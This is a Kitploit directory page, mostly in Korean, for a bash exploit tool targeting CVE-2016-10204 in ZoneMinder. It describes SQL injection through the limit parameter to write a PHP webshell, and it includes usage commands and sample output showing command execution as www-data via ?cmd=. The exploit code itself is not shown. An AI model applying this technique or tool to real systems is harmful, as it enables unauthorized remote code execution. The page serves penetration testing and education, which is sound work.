Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2016-10204_Webshell — CVE-2016-10204를 대상 엔드포인트에 대해 수동으로 익스플로잇하여 PHP 웹쉘을 업로드하는 과정을 보여주는 bash 스크립트입니다. | Kitploit
도구/GitHubGitHub/0xnullcomet/cve-2016-10204_webshell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHub0xnullcomet/cve-2016-10204_webshell

CVE-2016-10204_Webshell

CVE-2016-10204를 대상 엔드포인트에 대해 수동으로 익스플로잇하여 PHP 웹쉘을 업로드하는 과정을 보여주는 bash 스크립트입니다.

저장소 보기
26개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2016-10204_Webshell

대상 엔드포인트에 대해 CVE-2016-10204의 수동 익스플로잇을 시연하고 PHP 웹쉘 업로드로 이어지는 bash 스크립트입니다.

현재 webshell 변수는 MySQL 페이로드로 설정되어 있습니다. 이는 대상으로 삼아야 하는 백엔드에 따라 변경할 수 있습니다.

이 CVE에 대한 자세한 정보는 다음 출처에서 확인할 수 있습니다:

  • https://nvd.nist.gov/vuln/detail/CVE-2016-10204
  • https://www.exploit-db.com/exploits/41239
  • https://www.openwall.com/lists/oss-security/2017/02/05/1

이 스크립트는 여러 방식으로 작동합니다:

  • 정규식 형식 ^(http|https)://[^/]+/zm/index.php$의 대상 URL을 받습니다.
    • 예: http://192.168.10.100/zm/index.php
  • 대상 URL과 주어진 webshell URL 접미사에 이미 웹쉘이 존재하지 않는지 확인합니다.
    • 존재할 경우 다시 익스플로잇하지 않습니다.
    • 존재하지 않을 경우 계속 진행합니다.
  • /zm/index.php?view=request&request=log&task=query&limit=100&minTime=1466674406.084434 엔드포인트에 악의적인 POST 요청을 구성합니다.
    • 이 요청에는 &limit=100 매개변수에 주입 지점이 포함되어 있으며, 이를 악용하여 다음을 수행합니다.
    • /var/www/html 내에 새 웹쉘 파일을 생성합니다.
    • "" 문자열을 이 파일로 SELECT합니다 (파일을 쓰면서 스트리밍합니다).
  • 업로드된 웹쉘이 생성되었고 구성된 URL에서 접근 가능한지 확인합니다.
  • 'id' 명령을 실행하고 그 출력을 제시하여 이를 증명합니다.

Usage:

root@kitploit:~
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/chmod +x CVE-2016-10204_Webshell.sh

┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh testme http://127.0.0.1/zm/index.php

General Usage:
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target_endpoint/zm/index.php>

Help:


Example:

root@kitploit:~

┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php

[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]

[*]================================[*]
[*]Target Host: 192.168.177.52:3305          [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php      [*]
[*]================================[*]


[*]================================[*]
[*]Attempting webshell deployment. [*]
[*]================================[*]
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or
Warning: consider "--output <FILE>" to save to a file.
Exit Code for Timeout: 23

[*]================================[*]
[*]Webshell deployment successful. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]


Rerunning against an already exploited target:

root@kitploit:~
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php

[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]

[*]================================[*]
[*]Target Host: 192.168.177.52:3305          [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php      [*]
[*]================================[*]


[*]================================[*]
[*]Webshell already deployed.      [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]


Included help:

root@kitploit:~
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh -h

[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
CVE-2016-10204_Webshell
A bash script demonstrating the manual exploitation of CVE-2016-10204 against a target endpoint,
leading to upload of a php webshell.

More information:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10204
- https://www.exploit-db.com/exploits/41239
- https://www.openwall.com/lists/oss-security/2017/02/05/1

Usage:
  /bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target/zm/index.php>

Example:
  /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php

Notes:
- Verifies if a webshell already exists before attempting exploitation.
- Constructs a malicious SQLi payload to write a PHP webshell into /var/www/html.
- Confirms deployment by executing 'id' via the ?cmd= parameter.
- Please use responsibly only against devices you have permission to do. This is for educational purposes only.

도구 다운로드